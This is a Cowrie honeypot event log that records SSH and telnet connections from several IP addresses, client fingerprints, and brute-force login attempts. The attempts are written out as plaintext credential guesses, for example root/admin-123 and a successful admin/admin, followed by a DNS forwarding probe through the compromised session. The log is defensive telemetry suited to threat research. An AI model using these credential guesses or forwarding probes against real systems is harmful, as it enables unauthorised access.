{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59730,"dst_ip":"10.17.0.5","dst_port":23,"session":"16345fd6de3b","protocol":"telnet","message":"New connection: 45.58.127.90:59730 (10.17.0.5:23) [session: 16345fd6de3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:51.924784Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":48062,"dst_ip":"10.17.0.5","dst_port":22,"session":"188d498d02e2","protocol":"ssh","message":"New connection: 79.104.0.82:48062 (10.17.0.5:22) [session: 188d498d02e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:51.950462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:51.956336Z","src_ip":"79.104.0.82","session":"188d498d02e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:52.099617Z","src_ip":"79.104.0.82","session":"188d498d02e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"777777","message":"login attempt [test/777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:52.699887Z","src_ip":"79.104.0.82","session":"188d498d02e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:53.845604Z","src_ip":"79.104.0.82","session":"188d498d02e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.887319803237915,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:59.088640Z","src_ip":"45.58.127.90","session":"5cdc8e093fb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.419350147247314,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:59.515818Z","src_ip":"147.182.143.59","session":"f32cbd132551","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.370161533355713,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:07:04.996458Z","src_ip":"147.182.143.59","session":"e5b9d6331c8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.830017805099487,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:07:05.130143Z","src_ip":"147.182.143.59","session":"1c5e60a43036","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.550742626190186,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:07:27.675420Z","src_ip":"45.58.127.90","session":"62339e00cd1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.71740531921387,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:07:31.642073Z","src_ip":"45.58.127.90","session":"16345fd6de3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":36621,"dst_ip":"159.203.135.109","dst_port":22,"session":"221d677df5bd","protocol":"ssh","message":"New connection: 2.57.121.25:36621 (159.203.135.109:22) [session: 221d677df5bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:07:36.315656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:07:36.321897Z","src_ip":"2.57.121.25","session":"221d677df5bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:07:36.434604Z","src_ip":"2.57.121.25","session":"221d677df5bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"231185","message":"login attempt [user/231185] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:07:36.955399Z","src_ip":"2.57.121.25","session":"221d677df5bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"231088","message":"login attempt [user/231088] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:07:38.070782Z","src_ip":"2.57.121.25","session":"221d677df5bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0018241405487,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:07:38.120697Z","src_ip":"179.119.25.114","session":"08d9ac9e64c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46200,"dst_ip":"10.17.0.5","dst_port":23,"session":"09637bbedeaa","protocol":"telnet","message":"New connection: 45.58.127.90:46200 (10.17.0.5:23) [session: 09637bbedeaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:07:38.259383Z"}
{"eventid":"cowrie.session.closed","duration":46.90962743759155,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:07:38.595112Z","src_ip":"45.58.127.90","session":"d0957e5ca0e6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"231081","message":"login attempt [user/231081] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:07:39.186809Z","src_ip":"2.57.121.25","session":"221d677df5bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.119.25.114","src_port":47122,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f32261be83a","protocol":"telnet","message":"New connection: 179.119.25.114:47122 (159.203.135.109:23) [session: 5f32261be83a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:07:39.527029Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"23091980","message":"login attempt [user/23091980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:07:40.303002Z","src_ip":"2.57.121.25","session":"221d677df5bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23081981","message":"login attempt [user/23081981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:07:41.420543Z","src_ip":"2.57.121.25","session":"221d677df5bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46214,"dst_ip":"10.17.0.5","dst_port":23,"session":"03a22f1a2820","protocol":"telnet","message":"New connection: 45.58.127.90:46214 (10.17.0.5:23) [session: 03a22f1a2820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:07:42.101133Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46218,"dst_ip":"10.17.0.5","dst_port":23,"session":"6de34fb1a394","protocol":"telnet","message":"New connection: 45.58.127.90:46218 (10.17.0.5:23) [session: 6de34fb1a394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:07:42.293394Z"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:07:42.536401Z","src_ip":"2.57.121.25","session":"221d677df5bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":35810,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d309d53fbe9","protocol":"ssh","message":"New connection: 79.104.0.82:35810 (10.17.0.5:22) [session: 9d309d53fbe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:07:42.878419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:07:42.889385Z","src_ip":"79.104.0.82","session":"9d309d53fbe9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:07:43.035961Z","src_ip":"79.104.0.82","session":"9d309d53fbe9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin-123","message":"login attempt [root/admin-123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:07:43.644891Z","src_ip":"79.104.0.82","session":"9d309d53fbe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:07:44.792330Z","src_ip":"79.104.0.82","session":"9d309d53fbe9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":50690,"dst_ip":"159.203.135.109","dst_port":23,"session":"19ed03d4922d","protocol":"telnet","message":"New connection: 147.182.143.59:50690 (159.203.135.109:23) [session: 19ed03d4922d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:07:47.804927Z"}
{"eventid":"cowrie.session.closed","duration":13.093242168426514,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:00.898087Z","src_ip":"147.182.143.59","session":"19ed03d4922d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":7736,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c1641e817ef","protocol":"ssh","message":"New connection: 87.251.64.176:7736 (10.17.0.5:22) [session: 2c1641e817ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:04.678854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:04.684093Z","src_ip":"87.251.64.176","session":"2c1641e817ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:04.782790Z","src_ip":"87.251.64.176","session":"2c1641e817ef","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:05.074587Z","src_ip":"87.251.64.176","session":"2c1641e817ef","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:05.179824Z","session":"2c1641e817ef","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:05.279205Z","src_ip":"87.251.64.176","session":"2c1641e817ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:05.380613Z","src_ip":"87.251.64.176","session":"2c1641e817ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":59744,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb229944f067","protocol":"telnet","message":"New connection: 147.182.143.59:59744 (159.203.135.109:23) [session: cb229944f067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:07.221170Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":59754,"dst_ip":"159.203.135.109","dst_port":23,"session":"4235165d366a","protocol":"telnet","message":"New connection: 147.182.143.59:59754 (159.203.135.109:23) [session: 4235165d366a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:13.765985Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39286,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff87f460c32a","protocol":"telnet","message":"New connection: 45.58.127.90:39286 (10.17.0.5:23) [session: ff87f460c32a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:15.573301Z"}
{"eventid":"cowrie.session.closed","duration":37.74406361579895,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:16.003338Z","src_ip":"45.58.127.90","session":"09637bbedeaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.902896404266357,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:18.123939Z","src_ip":"147.182.143.59","session":"cb229944f067","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.81498646736145,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:21.916001Z","src_ip":"45.58.127.90","session":"03a22f1a2820","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.90045666694641,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:26.193904Z","src_ip":"45.58.127.90","session":"6de34fb1a394","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.433218002319336,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:26.198893Z","src_ip":"147.182.143.59","session":"4235165d366a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":40616,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0678aad6d9e","protocol":"ssh","message":"New connection: 47.239.15.75:40616 (159.203.135.109:22) [session: f0678aad6d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:31.259912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:31.264992Z","src_ip":"47.239.15.75","session":"f0678aad6d9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":51794,"dst_ip":"10.17.0.5","dst_port":22,"session":"79aba6c8f585","protocol":"ssh","message":"New connection: 79.104.0.82:51794 (10.17.0.5:22) [session: 79aba6c8f585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:35.791313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:35.796487Z","src_ip":"79.104.0.82","session":"79aba6c8f585","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:35.944715Z","src_ip":"79.104.0.82","session":"79aba6c8f585","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gituser","password":"gituser","message":"login attempt [gituser/gituser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:36.559191Z","src_ip":"79.104.0.82","session":"79aba6c8f585","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":33376,"dst_ip":"159.203.135.109","dst_port":22,"session":"a52c0a6c5e8c","protocol":"ssh","message":"New connection: 47.239.15.75:33376 (159.203.135.109:22) [session: a52c0a6c5e8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:37.522308Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:37.707695Z","src_ip":"79.104.0.82","session":"79aba6c8f585","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":36318,"dst_ip":"159.203.135.109","dst_port":23,"session":"30af7a6ecb41","protocol":"telnet","message":"New connection: 147.182.143.59:36318 (159.203.135.109:23) [session: 30af7a6ecb41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:43.535712Z"}
